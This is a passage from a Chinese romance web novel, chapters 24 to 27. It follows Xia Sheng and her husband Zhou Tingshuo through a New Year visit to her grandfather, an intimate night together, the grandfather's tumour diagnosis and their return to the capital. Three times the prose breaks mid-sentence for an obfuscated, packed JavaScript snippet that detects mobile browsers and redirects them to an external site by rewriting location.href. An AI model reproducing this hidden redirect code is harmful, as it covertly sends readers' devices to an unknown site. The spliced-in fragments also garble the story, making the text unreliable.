路上小插曲结束,周庭朔的心情似乎更好,嘴角明显有上扬痕迹。 上楼到门口,刚敲了两下,门就开了。 夏春燕堆着笑脸,热情地迎他们进去。 “刚刚在窗口那看见你们到楼下了,冷不冷,快进来。” 周庭朔在身后将带着的一众礼物递过去:“姑姑。” 夏春燕忙在围裙上擦擦手,接过。 这个姑姑对夏声说不上多亲,但对老人还算孝顺。 “看看,来就来吧,带这么多东西。”顺便转头跟丈夫使了使眼色。 带来的礼物没有便宜的,就连给夏国理的补品,都是薛女士提前亲自选好,特意交到周庭朔手里,让他不要失了礼数。 夏声换下鞋子,向里间看:“爷爷呢?” 说话间,老爷子已经从卧室出来,拄着拐杖的手微微有些颤,但仍旧眼神清亮,精神矍铄。 夏声立刻走过去挽住他:“爷爷我回来了,想我没。” 老爷子笑着拍拍她的手,目光落在他第一次得见的孙女婿身上。 “来了。” 周庭朔微微颔首:“爷爷。” 一见面,爷俩间的氛围冷淡又疏远,老爷子明眼观察着,不知心里想的什么。 夏声被赶去厨房帮忙,等再出来时,两人已一起品上茶,一问一答聊得好不投缘。 她疑惑,眼神询问,周庭朔却稳坐茶桌,悠闲地喝着茶, 一顿饭吃得和和气气,连一贯爱挑刺的大姑夫都态度和缓,跟周庭朔聊得有来有回。 入夜,两人才从那离开。 姑姑家就两居室,住不下这么多人。 夏声承诺明天再来看爷爷。 走在路上,夏声不免感叹:“平时话那么少,到这怎么那么会聊天,一家人都被你哄得高兴。” 周庭朔兀自笑笑:“那你不是应该高兴,少了很多麻烦。” 两人说着话,就到夏声原来的家,她回身指指对面的酒店。 “我给你订好房间了,2007号房,你去吧。” 周庭朔眉头一皱:“你呢?” “我当然回家住。” 对面的人沉默片刻,忽的上前一步。 “我陪你回家,你让我一个人住酒店,这是你的待客之道?” 夏声仰着头,退一步他就进一步,于是抬手推他。 “我家环境肯定不比酒店,怕委屈你。” 可他并不吃这一套:“要么一起住酒店,要么一起去你家。” 24. 第 24 章 几十年的老楼,设施陈旧,甚至没有电梯。 两人爬到五楼,夏声跺脚叫亮声控灯,掏出钥匙开门。 老式防盗门“吱呀”一声,顺着身后幽暗的灯光,能看到玄关狭长一条。 等她按亮房间的吸顶灯,不大的客厅尽入眼帘,里面家具都蒙着布,显然许久没人住。 夏声又问他一次:“你确定要住这?” 他走进玄关,将身后的门合上:“确定。” 不是夏声不想他住家里,而是原本她的卧室,只有个不到一米五的单人床,而夏国理房间的床已经搬到姑姑家去。 要么两人挤一起,要么一人打地铺。 全都不是好选项。 夏声一边收拾,一边思考一会怎么睡的问题。 打水,擦地,更换床单,一间屋子的卫生,她不到一小时全部搞定,显然以前常做这些。 而周庭朔只负责规整行李,还没她速度快。 两人先后去浴室洗过澡后,夏声抱起一床被子,准备出去。 周庭朔叫住她:“去哪?” 夏声看了眼自己睡了快十年的床,从来没觉得它这么小过。 “这里两人睡太挤,我去隔壁房间。” 行动快于言语,周庭朔上前将她的被子接过来,放回床上。 “不挤,就睡这。” 见夏声不动,他投来视线:“你想一回来就感冒吗?” 南方的冬天虽说不冷,但没有暖气的室内,睡地铺也需要勇气。 最终还是两人各躺一边,关灯,睡觉。 夏声房间那张鹅黄色窗帘并不太遮光,月色隐隐透过来,洒在被子上。 她凝神静气,直直躺在自己这半边,不敢有太大动作。 可随着时间流逝,她只觉得越躺越累,后背都硬得发麻。 身边的呼吸声始终均匀平缓,她犹豫片刻,向外翻身。 只是空间实在有限,她一曲腿便探出床外,于是只能悄悄向后挪一寸。 随后,她的后背好像碰到了什么。 想再往前,身后的床垫微动,一只手臂横过她的腰间,将她向后拉。 很快,她陷进一个温热的怀抱,细微的吐息落在她耳后。 “床就这么大,别乱动,快睡。” 身后人再没有其他动作,说完这句话又安静下来。 腰间的手并没有收回,虚虚搭着,随着两人的呼吸浮动。 夏声想起他连着加班几天,没有任何休息就陪她飞来,终究作罢,不知不觉中,也沉沉睡去。 第二天一早,周庭朔是被一阵小贩的叫卖声吵醒。 他看眼挂钟,发现已经八点多。 许久未睡到过这个时间,他转头看向身边,空空如也。 拨给夏声的电话很快被接起来,她那边似乎更热闹。 “你醒了?我来陪爷爷逛早市,你再睡会吧,回头我回去叫你吃午饭。” 挂断电话,周庭朔并没有多躺,而是直接起床去洗漱。 老爷子退休这些年,事越来越少,觉也越来越少,平时起得早就爱去逛个早市。 夏声陪着他转了一圈,两人吃了热乎的肥肠粉才回。 走到楼下,才发现周庭朔已经到了。 楼下有大爷遛鸟,几人对着鸟笼聊得火热,周庭朔双手插在大衣口袋,静静站在不远处听着。 初晨的光在他身上镀上一层暖黄,打出柔和的侧影,满是一幅市井中岁月静好的画面。 夏声不由多看两眼。 发现两人,他几步走来:“爷爷,回来了。” 夏国理笑着点头:“声声都跟我说了,你前阵子加班工作忙,怎么不多休息会。” 他看了夏声一眼,站到另一侧,搀扶着老爷子。 “回来该多陪陪您。” 老人哪会不知趣,中午刚吃过饭,就将两人赶走,名曰自己要休息,他们待在这闹腾。 两人一下得闲,夏声担起导游职责。 “你想去哪转转吗?” 周庭朔经常各地飞,但真要说停下来走走,还没有过。 “随便逛逛吧。” 夏声想了想:“要不带你去我以前学校看看?” 锦城一中是全市最好的高中,夏声就是从那毕业,对其感情很深。 主教学楼已重新粉刷,图书馆也换了新的门面。 她一一介绍着学校里的变化,还不忘说些高中时候的趣事。 “可惜,现在进不去学校了。” “不然能让你当面听听我那些老师怎么夸我优秀的。” 高中三年夏声一直成绩前列,又刻苦认学,许多老师都喜欢她。 周庭朔垂眸看着她:“能超线三十分考上京大,足以证明你的优秀。” 夏声回头,表情惊讶:“你怎么知道?” 他扬眉反问:“适当了解结婚对象,不是最基本的吗?” 被噎住地夏声转过身,莫名心虚,于是转移话题。 “今晚市中心的步行街好像有跨年活动,有兴趣吗?” 这种活动夏声也是第一次参加,她没想到会有这么多人。 人群中,肩顶肩,鞋蹭鞋,失去重心的人都倒不下去,因为身前身后都是人。 没办法,夏声拉着周庭朔挤到一个相对边角的位置,踩在旁边的台阶上,等着倒计时。 站了一会,夏声觉得有些冷,于是伸手哈了口热气。 很快,她的手被牵入周庭朔的口袋。 温热的掌心裹着她的手指,比她的口袋暖得多,索性她也没再抽出来。 视线里,大多是小年轻,举着气球挽着朋友,嘻嘻闹闹看着远处电子大屏,倒计时已经开始。 众人异口同声的倒数。 “五,四,三,二,一。” 跨年钟声响起,夏声转身仰起头,凑过去大声说了句:“新年快乐!” 漫天的烟花映在周庭朔眼中,他微低着头,口袋中的手指探进她的掌心,轻轻捏了捏。 “新年快乐。” 不知为何,夏声的心蓦得空了一拍。 钟声落幕,新年仪式结束,俩人准备打道回府,又被人叫住。 是一个街拍摄影师,刚刚抓拍了张他们的照片,想问是否可以发到网上。 定格的一幕是倒数零点,背光的画面里,两人剪影凑在一起,视线相接,远处是新年快乐的电子大屏,和流彩一般的烟火。 照片很好的隐去两人的模样,自然没什么问题。 夏声想了想:“可以把原片发给我吗?” 当晚,许久未发朋友圈的夏声,发了一张照片。 配文:新年快乐。 而许久不曾看朋友圈的某人,几秒后给她点了个赞。 明明两人距离不超过一米,甚至在同一张床上。 夏声放下手机,转头看向身边的周庭朔,语气恹恹。 “好了,明天我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975702|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手机不会消停了。” 周庭朔眸中带笑,惯常抿直的唇也有了弧度,看向她的眼神轻缓柔和,像带着温度的月光。 她不知为何,被这目光看得脸颊发热,于是别过视线,看向他手中的手机。 “不行,我发了你也要发。” 抬手去抢的瞬间,他手便伸远,夏声一门心思在手机上,追过去夺,全然不知自己此刻已整个趴在他怀里。 手机终于抢到,她正准备让他解锁,抬眼便撞进他浓稠的眸光里。 两人此刻贴得极近,呼吸相闻。 他的视线从她的眼睫,落到鼻尖,接着停留在唇畔。 夏声察觉到氛围有变,刚想伸手撑起身体,身后已被一双手臂挡住去向。 不等她反应,他的手掌已撑在她脑后,吻了上来。 窗外不知谁还在放烟花,五彩斑斓的焰火仿佛一同在她的脑子里炸开。 唇瓣被一寸寸吻过,她的呼吸开始混乱,刚抢来的手机也不知被扔到哪里。 理智尽失前,她终于得了开口的机会。 “不行,家里没有那个。” 周庭朔紧盯着她,抬手拉开旁边的床头柜,摸出一盒放进她手里。 “我柜子里怎么会有这个?” 他勾唇:“楼下买的。” 手指捏紧,夏声又道:“这几天你工作连轴转,难得休假,应该好好休息。” “托你的福,昨晚休息的很好。” …… 夏声明白,这人是蓄谋已久,最后只能认命闭眼,红着脸轻推他一下。 “那,你关灯。” 室内陷入黑暗,她陷入一汪磨人的春湖。 温热的唇一点点熨贴她,走走停停,当来到她颈侧时,夏声别过头,抬手捂住他的唇。 “上次你做得好事,害我丢人,明天我还要出门,你不许了。” 他就着吻下她的手心,随后拉下来。 “那我这次轻些。” 话说得好听,可情到深处,也顾不得控制力度。 明明躺在床上,夏声却仿佛置身一艘小船,随着水波摇摇荡荡。 朦胧视线中,周庭朔紧实的肩臂线条就在眼前。 似乎为了表达不满,夏声抬手扶上他的肩膀,指尖用力。 动作终于短暂停下,沙哑的声音响起。 “还是太重了?” 夏声整个人被吊得不上不下,偏偏他还来问这些,好像故意的。 那股不服输的劲又上来,她头脑一热,直接用力推开他,随后调转姿态,成为上位者。 腰间扶着一双手,沙哑的声音自下传来。 “你确定要这样?” 开弓没有回头箭,她硬撑着说是。 “不行吗?” “你想怎样都行。”他沉沉应声,嗓音带笑。 …… 后悔的是第二天的夏声。 新年夜的最后,她差点被抱进浴室,若不是顶着一口气自己洗完,只怕还要丢一次脸。 如今,已经醒来几分钟的夏声,仍不想睁开眼,昨晚的最后实在太过大胆失控,黑夜是掩护,可天亮了她却没勇气面对。 还好有人先一步起身,等听到门关上的声音,她才慢慢起床。 磨磨蹭蹭洗漱完,刚出客厅的夏声正对上从外面回来的周庭朔。 他手中提着早餐,神色自如。 “你起来了,正好过来吃东西。” 25. 第 25 章 温热的肉包散发着油香,豆浆放了糖,氤氲着热气。 夏声顾不得吃两口,一直低头回信息。 对面的人看她好几眼,伸手将她的手机屏幕关上。 “好好吃饭。” 她狠狠咬了口包子,含混着声音:“我也想好好吃饭,但几十条未读信息,还有朋友圈一大堆红点。” 豆浆顺下包子,夏声放下纸杯,埋怨。 “都是你,非要发朋友圈。” 周庭朔好脾气地点头:“怨我。” 随即,他将自己的手机解锁,递到她面前。 夏声挑眼看他。 “干嘛?” “发到我朋友圈,以示公平。” 夏声垂眼,他的朋友圈干干净净,签名也没有,甚至背景还是系统默认。 想了想,她将手机原样推回去。 “算了,我才没那么幼稚。” 一餐饭,磨磨蹭蹭吃完,安真的电话打来。 彼时,夏声跟周庭朔刚刚下楼。 “你这什么情况,直接悄无声息官宣是吧?” “怎么是想好了,以后就跟他好好过了呗。” 虽然不是免提,夏声还是把手机换到另一边。 “以前也没想别的。” “哦,我还以为你遮遮掩掩隐婚,是准备实在不行,随时跑路呢。” 小区门口有不少卖吃食的小摊贩,周庭朔自然的牵过她,拉到人少的那一边。 今天是元旦,他们要去大姑姑家吃饭。 路过超市,周庭朔让她在门口等着,独自去了里面。 趁这间隙,安真问她:“上次在民宿问你的问题,有答案了?” 是那个她对周庭朔什么感觉的问题。 精准的答案,夏声还没解出来。 但现在她能确定,他作为另一半是远超合格线的,她很满意。 “别聊我了,你一个人跑去海岛度假,还不通知祁家骏,又是玩哪出?” 安真正坐在海景落地窗前,捧着椰子水吹风。 “前两天,他爸给我打电话了,估计是我们的事捅到他家里去。” “你知道的,我又不是吃素的,在他爸妈身上受得气,我也得还到他身上。” 原来如此,可以理解。 两人又聊几句,刚好周庭朔出来,收线。 他手中提着果篮和酒水,夏声感叹,这人永远比自己考虑得周到。 元旦佳节,一家人团聚,夏春燕张罗着包饺子,夏声洗手去帮忙。 周庭朔留下陪夏国理。 老爷子拿出一副象棋,大女婿没什么文化,也不会下棋,于是他找上孙女婿。 周庭朔只知道基本规则,便由着老人跟他边教边下,临到吃饭,他已有一局险胜。 夏国理摇头:“年轻人,脑子就是好,我这下了半辈子棋的,叫初学的给杀局了。” 桌上菜已上差不多,周庭朔将老爷子扶到主位,笑着回。 “名师出高徒,您是高级教师,我怎么会差。” 一句话又哄得老人高兴。 等饺子端上来,夏春燕笑着考问周庭朔。 “猜得出哪些是你老婆包的么?” 他从没见过夏声包饺子。 面前的盘子里,浑圆肚子的饺子像元宝,两边向中间一捏,略显潦草,胖瘦均匀的饺子像弯月,捏折整齐,形状完美。 夏声厨艺不佳,这他是知道的。 于是两相对比,他指了指元宝饺子。 身边的夏声“切”了声,夹起一只弯月饺子放到他碗里。 “猜错了,罚你只能吃一个。” 夏国理笑着睨了孙女一眼。 “这丫头,从小就不太会做饭,但手很巧,十岁时包的饺子就比她姑姑的好看。” “都没人教过她,不知怎么学会的。” 夏声被夸得翘尾巴,略扬下巴自我夸赞。 “好多东西我都是自学的,小学时流行的折星星,折玫瑰,我都自己琢磨会的。” 一旁的周庭朔听着她的话,视线看着碗中的饺子,唇边的笑渐渐隐去。 热热闹闹吃完饭,又留下陪老人家看电视。 中途薛宁玉来电话,问过夏声新年过得如何,还跟老爷子通了话。 临近傍晚,有工作电话打来,周庭朔独自去接听,夏声便在客厅给夏国理剥橘子。 这两天老爷子观察过,这孙女婿是个可靠的,已然是放下心,便劝夏声。 “他要实在忙,你们就早点回去,别在这耽误了。” 夏声看了眼窗前低声通话的身影,将橘子递过去。 “明天去帮您拿完复查结果再说吧。” 当晚,两人早回去了些,周庭朔确实有些邮件要处理,一直在客厅忙到快十点。 进卧室时,夏声正趴在床上,看一本少女漫画。 周庭朔走过去,坐到床边。 “这些书,你自己没看过?” 她看得入迷,眼都没抬:“没,这是高三毕业安真送我的,一整套。” “我那时候暑期忙着兼职,没什么时间看,到现在才看到一半。” 他将视线落到对面书桌上的书架,几本漫画书搁在角落,确实很新。 书架最上面一排,有一罐纸星星玻璃瓶,周庭朔想起下午的对话。 “你十岁就会包饺子?” 夏声翻过一页,应声:“是啊,包得还非常好呢。” 周仪娇十岁时,鞋带还要别人帮忙系。 他起身走到书桌前,手指划过墙上贴着的一张张奖状。 “你从前,会做很多事吗?” 趴得累了,夏声拿起书换个姿势,躺在床上看他一眼。 “你指的是什么事?” 洗衣、打扫、照顾自己,这些不该小孩子做的事。 周庭朔没再出声,回身过来轻轻摸了摸她的发顶。 “别躺着看书,伤眼睛。” 说完,拿了睡衣去洗漱。 等他出来时,夏声已经睡着,漫画书扣着放在一旁。 周庭朔轻手轻脚上床,被子展开给她仔细盖好,随后将她揽入怀中。 睡得迷迷糊糊的夏声调整下姿势,向他怀里拱了拱,像是十分舒服般呓语几声。 第二天因为要去医院,夏声起得早些。 夏国理上次住院做了全面检查,今天才能取结果,夏声本想自己去,周庭朔坚持跟她一起。 一路上,大部分时间他都在跟公司里的人通话,等取完结果见医生才短暂停下。 颅咽管瘤长在颅内,医生建议是做开颅手术,但有一定风险,且真要做手术,还需要评估老人身体情况。 夏声不自觉紧张起来:“那如果不做手术,保守治疗呢?” 医生根据检查结果,解释建议开颅的原因。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986943|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “因为瘤体所处位置特殊,保守治疗不能保证它不继续长大。” “瘤体周围都是大脑功能区,如果控制不好,他以后可能会失明、耳聋,压迫三叉神经还会引起面部剧烈疼痛,甚至偏瘫。” “当然,具体决定,还要你们家属自己权衡。” 一瞬间接受这些信息,夏声没第一时间开口,而是在脑中迅速消化。 只是放在膝上的手不自觉攥紧。 “那,就是需要尽快手术吗?” 大概因为是林家帮忙打过招呼,医生还算耐心,语气也缓和些。 “当然是越早干预越好,老人年纪越大,手术风险越高。” 出了医生办公室,夏声又将检查报告一张张看过,医用词汇晦涩难懂,但总体结论她还看的出,情况确实不算乐观。 周庭朔在旁边也都认真听过,他扶着她的肩膀,在走廊的座椅上坐下。 “报告给我看看,我帮你问问京市的医院。” “多个建议,你也好做决定。” 周庭朔将所有报告一一拍下,随后又去打了几个电话。 回去的路上,夏声一直心事重重,周庭朔还有些情况不了解。 “爷爷知道他的病情吗?” 夏声抓着医院检查单的袋子,语气低落:“具体的没告诉过他,但是他知道自己脑袋里长了东西。” 两人已快到楼下,他拍拍她的肩膀,示意她放松。 “一会我来跟爷爷说,你别这个表情上去,还不是特别严重的情况,你这样反倒让老人多想。” 果然,一进门夏国理就问情况怎么样。 周庭朔将夏声手里的报告单接过来,将她往厨房推,顺便给姑姑夏春燕一个眼神。 “我们刚刚买的鱼,还活着的,姑姑你帮夏声处理下。” 厨房里,水池中的鱼还在啪啪甩着尾巴,那是他们临时在水产店买回来的。 夏声将医生的结论跟姑姑说完,两人都没出声。 不过再出来时,谁也没有提这茬。 周庭朔似乎已经跟老爷子说完,两人品着一壶茶,讨论着锦城的医疗水平。 “京市的医疗条件是好些,只是我这也不是大毛病,就没必要折腾到那边去。” “反正在这也能治,不就动个小手术嘛。” 旁边坐着的周庭朔跟夏声对视一眼,笑道:“也是她的孝心,想问问那边是不是有更全面的治疗方案。” 夏声弯起嘴角,也过去讨了杯茶。 “就是,孙女尽孝心,你还拦着?” 陪着家人的几天,夏声一直给足情绪价值,直到走的那天,上了飞机,她表情落下来。 欧洲那边问题解决,这几天海外组一直在跟进后续,周庭朔看完电脑上他们昨天的进度报告,转头才发现她有些不对劲。 “怎么,还是担心?” 夏声看着舷窗外翻滚的云层,抿了抿嘴角。 “爷爷是我最亲的人,如果手术真有什么意外……” 周庭朔握住她的手:“别悲观,等回去见过京市的专家,听听意见再说。” 夏声知道,也只能这样,于是点点头。 这几天的假期,是周庭朔尽力调整出来的,刚下飞机,公司的助理已经等在那。 夏声自己坐司机的车回家,下午休息下,便带着从锦城带回来的礼物去了西苑。 没想到在那撞见熟人。 26. 第 26 章 会客厅里,薛宁玉坐在落地窗旁的楠木椅上,让夏声帮忙把簪子带上。 一只嵌珠的并蒂莲发簪,典雅大方,配薛宁玉乌黑的发髻刚好。 “还是声声眼光好,真好看。” 薛宁玉抬手摸摸,随后招手让她坐下,拿出几本相册翻给她看。 “正好你来了,这是几个摄影公司刚送来的样册,你瞧瞧有没有喜欢的风格?” 水晶相册做得精致又华丽,夏声随手翻开一页,是主题婚纱照。 她跟周庭朔结婚,除了一张法定证件,其他都还没有。 “这眼看你就要毕业,婚纱照婚礼都该筹备上,庭朔是指不上了,跟他爸一样,成天就知道忙工作,我看就咱们娘俩看着定吧。” 之前一直没有操办这些,其实是夏声的意思。 她毕竟还在学,总想着毕业再说。 眼前的照片各种风格应有尽有,都是俊男美女做模特,自然是好看,她一时也没比出什么。 薛宁玉帮着翻看,指着一组海边夜景风格的给她看。 “前两天我看你朋友圈发的照片,你们俩就蛮好看,适合拍夜景呢。” 那张脸都看不清,偏她也能这样夸。 两人暂定了几个风格,薛宁玉又招呼她吃水果,自己去取东西。 这次去五台山,她也给夏声带了礼物。 “我给你们求了平安符,你跟庭朔一人一个。” 一红一黑,锦缎上绣着符字,夏声道谢收好,抬头看天也黑了。 正准备走,周灵熙跑来找她。 “小婶婶,我想去你家玩。” 已经有一阵没去看福宝了,小姑娘想得紧。 薛宁玉拉回她,叫她别缠人。 “等过两天你参加完冬令营回来,再去玩吧。” 这边夏声跟周灵熙约定好,楼上正好有人下来。 周起岩看见夏声,微笑点头:“留下吃饭吧,跟小卓一起。” 他身后跟着一人,银色正装提着公文包,正是卓冕。 两人对上视线,周起岩正好介绍:“这是夏声,你认识吧?” 卓冕:“知道,我们见过。” 夏声没留下吃饭,跟卓冕一起出门,两人坐上车,一时无话。 平时卓冕总会主动找些话题,今天却不一样,夏声说不出他哪里有了变化。 车开到熟悉路段,夏声出声提醒:“把我放在方便停车的路边就行,后面也不同路了。” 卓冕抬眼,透过后视镜看着她。 “是不同路。”只是他说的不同路,与她说的可能并不是一回事。 车子没有停下的意思,夏声为缓解尴尬,只好看向车窗外。 十几分钟后,车子停在碧水华汀门口。 夏声道过谢,想要下车时,被他叫住。 他回身从后座拿出一只礼品袋,递给她。 “谢谢你上次帮我选东西,这个本想做新年礼物送你,可惜你……” 话音落下,他第一次转头跟她目光相接。 可惜她新年那天不在京市,而是在某人身边,很开心。 上次她帮忙,本也是举手之劳。 夏声将礼品袋放回到两人中间的扶手箱上:“不用了,这点小事,你再送我礼物就是不把我当朋友了。” 说完,她打开车门下车,回头告别。 “路上注意安全。” 车门关闭,卓冕温和的眸渐渐冷下来,垂眼看着旁边没能送出的礼物。 那是那日夏声在专柜,闻得时间最长的香水,他猜她会喜欢,可她甚至都没拆开看。 他随手将东西扔到后座,一脚油门离开。 回到京市,不仅周庭朔忙起来,连夏声都没了闲暇。 跟秦莫见面后,两人开始为公司走手续,忙装修,一天要跑好几个地方。 新车已经提回来两三天,但从来没开出来过。 又一次打车等待的间隙,夏声问秦莫:“你会开车吗?” 秦莫比她大两岁,身材高挑,大美人长相,偏是个软性子,一开口是温温柔柔的南方口音。 “理论上,是会的。” 那就是实际上不会。 要说夏声也是胆大,拉上秦莫两人就去练车。 见秦莫上车就把安全带扣得死死的,夏声摸着方向盘介绍。 “这辆车就安全系数高,你别害怕,我稳当着开。” 是够稳当,从地库的车位开出去就花了五分钟。 战战兢兢终于出小区,发现大街上到处是车,夏声也不由心里没底起来。 晃晃悠悠用比走路快不了多少的速度,在最右侧车道蹭出一个路口后,副驾的秦莫坐不住了。 “要不我们停下歇会?” 夏声攥着方向盘的手指都发白了,秦莫可不敢再坐。 侧方停车更是个挑战,夏声正跟方向盘较劲,车机上显示有来电。 秦莫一边帮她看右侧的位置,插空看了眼来电号码。 “是你家周先生,还是接吧。” 自锦城回来,两人虽然住一起,却基本没照过面,只有夏声睡得迷迷糊糊时,隐约感觉有人回来过,早上醒来,又不见人影。 电话接通时,夏声已经把车停下。 她把蓝牙关掉,用手机接电话。 “喂,怎么这会儿有空给我打电话?” “我明天要飞国外,提前跟你说一声。” “这么突然?” 秦莫下车去买喝的去了,夏声也不用顾及其他。 “需要帮你收行李吗?” 周庭朔已将工作安排的差不多,今天可以早些回去,于是告诉她不用,他自己会收。 夏声又问了问是去哪个国家,大概几天之类的,才挂断电话。 当晚,夏声回去时,看到门口立着行李箱,显然周庭朔先回来了。 徐姐已经做好饭,夏声去洗手的功夫,他从书房出来。 “怎么这么晚回来?” 夏声不好意思说,自己练车晚了,回来时不小心赶上晚高峰,车一辆挤着一辆,加塞按喇叭的,她硬着头皮都开不下去,最后只好叫个代驾把车开回来。 “有点事,路上耽误了。” 周庭朔回来时,看到旁边车位空着,他才知道她开车出去了。 刚给她打了电话,她就说已经到楼下,于是他没在电话里多问。 饭桌上,两人分坐对面。 周庭朔等她开口,夏声却只顾埋头吃饭。 “今天练车的事,怎么不跟我聊聊。” 伸出去的筷子停下,夏声抬眼:“你怎么知道?” 第一次开车出去,做什么事也不难猜。 “自己练的?” “当然不是。”夏声拍拍扒着她腿要吃食的福宝,随口回答,“秦莫陪我来着。” 周庭朔放下筷子,正色看她:“她会开车吗,驾龄多久?” 按理说,练车是该找个老司机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992272|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陪着,但夏声这不是不认识,所以只能出此下策。 见她默不出声,他便知道肯定是两个新手凑一起。 “新司机上路已经够危险,你还带着另一个,也是能耐。” 难得他语气如此严肃,夏声对上他的眼睛,为自己辩解。 “那我怎么办,新手不开车永远是新手,我总不能一夜醒来就变成老司机。” “为什么不找我。” “你有时间?” 她这也是无奈之举,落到他口中,倒像是不知轻重。 这两天她忙公司那边的事,已是有些心累,再听到他来说教,难免厌烦。 吃饭的胃口也没了,夏声闷头起身,抱起福宝回房间。 把自己跟猫咪关在原来她住的房间里,夏声开始查看公司手续的审批流程走得如何。 中间秦莫给她发消息,说她有个朋友会开车,实在不行,下次让他来帮忙陪着练车。 其实看到这,夏声自己知道今天贸然带着秦莫练车,确实不稳妥。 算了,下次不能再这样。 正想着,周庭朔发来新消息。 点开,是一张微信名片和一串号码。 【周庭朔:这是我司机的联系方式,这几天我出差,他时间都空着,你要练车让他陪。】 夏声躺在床上,眼神愣愣地盯着上方的圆形吊灯。 虽然做错的是自己,但她就是拉不下脸。 思来想去,索性今晚就留在客卧。 晚上十点半,夏声都已经关灯,门口却传来敲门声。 她装睡不应,敲门声就不停。 “我知道你没睡。” 论执着,她不是周庭朔的对手,只能不情愿地去开门。 “明天我就走了,今晚你确定要跟我赌气,自己在这睡?” 夏声玩着睡衣袖口上的绑绳,语气硬邦邦。 “嗯,你自己好好睡个好觉,明天还要早起赶飞机。” 叹气声自头顶传来,周庭朔伸出手握住她的手腕,二话不说将人带回主卧。 “看来找时间,我要请人把其他几个卧室的床清走。” “为什么?” 两米的大床上,两人肩膀挨着肩膀。 “明知故问。” 夏声真怕他言出必行,毕竟以后周灵熙还要来住,不能真一张床不留。 然而对方没有给她说话的机会,直接关了灯。 “好了,睡吧。” 黑暗中,夏声思维异常活跃。 明明几个小时前两人还在赌气,这会她却被人拉过来,睡回同一张床。 也不知道是他们俩谁太没坚持和底线。 总之,自己好像跟他吵不来架。 第二天一早,周庭朔要赶早班飞机,夏声起来时,身边已经没人。 她翻身下床,揉着眼睛走到客厅,发现周庭朔正在门口换鞋。 大衣搭在臂弯,行李箱也在手边。 “你要走了?” “嗯。” 夏声想问问还有没有什么落下的,想想又觉得他应该都收拾好了。 于是只好往前挪两步:“那你一路顺风,出差照顾好自己。” “没有别的想说的?” 夏声不明所以:“还要说什么?” 他无奈摇头:“算了。” 临走之前,周庭朔不忘提醒她。 “别忘了今天要跟于教授见诊,有事给我发消息,我看得到。” 27. 第 27 章 首都总医的于教授是国内首屈一指的专家,想要约见一面可不容易。 夏声早早赶过去,生怕错过时间。 教授人很好,看过检查结果跟她详细讨论了下夏国理现在的病情。 “西南一医的诊断和治疗建议是合理的,不过手术确实有风险,即使是我来做,依然不能说百分百成功。” “只是风险也没那么大,你不必过分担忧。” 权威人士的话总是能很好的安抚人心,从医院出来,夏声的心终于落定。 在海岛野了几天的安真终于回来,两人下午约在一家新开的泰餐厅见面。 短短几天,安真形象大变,原来的长发变成两侧稍短的公主切,还挑染了少许幽夜蓝。 衣服也不再是性感的修身裙,反而变成黑色高腰裤配粉色短皮衣,衣服袖口还有一圈轻盈的鸵鸟毛。 “你怎么变甜酷风了,原来的辣妹风呢?” 安真撩开耳边的头发,给她看新买的蝴蝶立体耳钉,又粉又闪。 “新年新气象嘛,你都官宣老公了,我没有老公可炫耀,只能捯饬自己咯。” 真是说谁谁到,桌上的手机跳出周庭朔的信息。 这个时间,他应该还在飞机上。 【于教授怎么说?】 夏声言简意赅地将教授的话转述,旁边的安真斜眼睨着她的屏幕,一脸嫌弃。 “啧啧啧,现在也是过上好日子了,一会不见,手机上还得聊是吧?” 她这嘴最是不饶人,夏声放下手机,掐了她一把。 “我们这是有正事说,你以为他真闲得有时间闲聊?” 相对平时,坐飞机的周庭朔确实算闲,很快又回了信息。 【那等我回来,咱们再定是在锦城动手术,还是接到京市,请于教授操刀。】 一句话,将这件事变成了他们两人的事。 她肩上的责任,他好像毫无顾忌地就接了过去。 夏声没再回,跟安真点单。 这家新开的店就在夏声未来公司附近,吃完饭,夏声邀请安真去楼上看看。 装修已过半,刷墙铺地都完成了,还剩一些小活,再有半个多月也就结束。 安真插着裤袋,转圈看着。 “这都是你一个人弄得?” 功劳可不是她的,装修大部分时间是秦莫盯着,她去跑公司手续比较多。 现在法人已经申请完,公司账户也有了,经营许可和项目清单都提交完,要说两个女生的行动力,确实也很高。 夏声过去,还给她指指靠里那间光线极好的独立办公室。 “以后我就坐那。” “对了,一会陪我去刻章吧,公章弄好了,我个人签章还没做。” 安真怪腔怪调地揶揄她:“行,以后夏总做大生意时,别忘了带小姐妹一把。” 公司楼下不远就有刻章店,两人去刻章的功夫,竟然遇到熟人。 夏声远远就认出周仪娇,她穿着一身纯白色大衣,从一辆车上下来。 车上是什么人,夏声没看清,只知道车一驶离,周仪娇就蹲到地上去,双肩一抖一抖,看起来情况不妙。 